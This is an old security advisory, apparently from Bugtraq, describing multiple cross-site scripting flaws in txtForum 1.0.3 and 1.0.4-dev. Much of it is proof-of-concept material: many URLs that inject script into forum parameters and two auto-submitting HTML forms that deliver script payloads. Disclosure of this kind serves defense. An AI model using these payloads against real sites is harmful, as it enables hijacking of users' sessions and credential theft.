txtForum Multiple Cross-Site Scripting Vulnerabilities

Bugtraq ID:	17054
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 09 2006 12:00AM
Updated:	Mar 11 2006 06:30AM
Credit:	Nenad Jovanovic of Technical University of Vienna is credited with the discovery of these vulnerabilities.
Vulnerable:	txtForum txtForum 1.0.4 -dev txtForum txtForum 1.0.3 -dev
Not Vulnerable:

txtForum Multiple Cross-Site Scripting Vulnerabilities


txtForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

txtForum Multiple Cross-Site Scripting Vulnerabilities

This issue can be exploited through a web client.

The following proof-of-concept URIs are available:
http://www.example.com/txtforum104/index.php?rand5="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/new_topic.php?r_username='><script>alert('xss_string')</script>
http://www.example.com/txtforum104/new_topic.php?r_loc='><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=viewprofile&nick=admin&r_num=<script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&r_family_name="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&r_icq="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&r_yahoo="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&r_aim="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&r_homepage="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&r_interests="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&r_about="</textarea><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&selected1="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&selected0="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&signature_selected1="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&signature_selected0="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&smile_selected1="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&smile_selected0="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&ubb_selected1="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/profile.php?mode=editprofile&ubb_selected0="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/reply.php?quote=</textarea><script>alert('xss_string')</script>
http://www.example.com/txtforum104/reply.php?tid="><script>alert('xss_string')</script>
http://www.example.com/txtforum104/view_topic.php?page=27&tid='><script>alert('xss_string')</script>
http://www.example.com/txtforum104/view_topic.php?print_adminJS=1&tid="><script>alert('xss_string')</script>

<form action='http://www.example.com/txtforum104/view_topic.php?sticked=<script>alert("xss_string")</script>' method="post">
<input type="text" name="where" value="sticky"/>
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action='http://www.example.com/txtforum104/view_topic.php' method="post">
<input type="text" name="where" value="deleteme"/>
<input type="text" name="mid" value="<script>alert('xss_string')</script>"/>
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

http://www.example.com/txtforum104/view_topic.php?page=-1&tid=xss_string
http://www.example.com/txtforum104/view_topic.php?tid=xss_string

txtForum Multiple Cross-Site Scripting Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]:[email protected].

txtForum Multiple Cross-Site Scripting Vulnerabilities

References:

• txtForum Webpage (txtForum)
  
• txtForum: Multiple XSS Vulnerabilities (Technical University of Vienna)